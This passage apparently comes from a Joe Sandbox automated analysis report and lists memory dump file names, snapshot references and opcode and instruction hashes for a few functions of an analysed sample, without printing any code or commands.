                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: 5c6c6d30e14f938f40d9c067ed47b0f9f6473e3f2c8e826e1531f9e6ad02e0f7
                                                                                                                                                                                                                                                                                    • Instruction ID: b0216e313062ff4dba7400dad36336792ad63b91ec73462be0fa7290eb1621de
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5c6c6d30e14f938f40d9c067ed47b0f9f6473e3f2c8e826e1531f9e6ad02e0f7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5821B673F2053947770CC47E8C5227DB6E1C78C541745427AE8A6EA2C1D968D917E2E4
                                                                                                                                                                                                                                                                                    Function 00B3779B Relevance: .1, Instructions: 81COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: 52de3affea24226c8b7fead11db3e832b7fa092160a4098da66e4d8c7ba3b5cd
                                                                                                                                                                                                                                                                                    • Instruction ID: 565b311e8a9c98df44ce4c00df3f0a51ee9258ea6500dc871f5ea13711de83dc
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 52de3affea24226c8b7fead11db3e832b7fa092160a4098da66e4d8c7ba3b5cd
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B011C663F30C256B675C816D8C172BAA5D2EBD825071F437AD826E7284E8A4DE23D290
                                                                                                                                                                                                                                                                                    Function 00B38860 Relevance: .1, Instructions: 76COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                                                                                                                                                                                                                    • Instruction ID: dec5c8bf07e1196cdaa756687e4411c125793f24b10a634022ca7ed5bd69e08c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DA11087720038243E6058A2DD8F46B7B7D5EAC5321FBC43FAF0414B798DE2299459602
                                                                                                                                                                                                                                                                                    Function 00B2A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724635228.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724652618.0000000000CFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724665702.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724681261.0000000000D0E000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724694069.0000000000D0F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724707349.0000000000D11000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724727261.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724744142.0000000000D35000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724757641.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724775692.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724793853.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724807938.0000000000D4F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724821501.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724836637.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724852777.0000000000D5F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724870240.0000000000D68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724885841.0000000000D70000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724899471.0000000000D77000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724915845.0000000000D78000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724930881.0000000000D79000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724947126.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724966117.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000D9B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724978708.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725017541.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725032058.0000000000DE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725044415.0000000000DE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725057252.0000000000DED000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725071220.0000000000DEF000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725087550.0000000000DFD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725100563.0000000000DFE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725112173.0000000000DFF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1725125970.0000000000E00000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_af0000_file.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
                                                                                                                                                                                                                                                                                    • Instruction ID: 9560de92614a468249d3e384dbce2a4af09bfc6a87d0391c844ce0e7f03ec74f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 94E08C32921238EBCB14DB98E904D8AF7ECEB49B00B650096F505D3150C270DE00CBD4
                                                                                                                                                                                                                                                                                    Function 00AF2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724266147.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724286059.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724339320.0000000000B59000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724352079.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724366294.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724527704.0000000000CB9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724544915.0000000000CBC000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724564258.0000000000CD4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724578480.0000000000CD6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724592042.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.1724621172.0000000000CE4000.00000080.00000001.01000000.00000003.sdmpDownload File
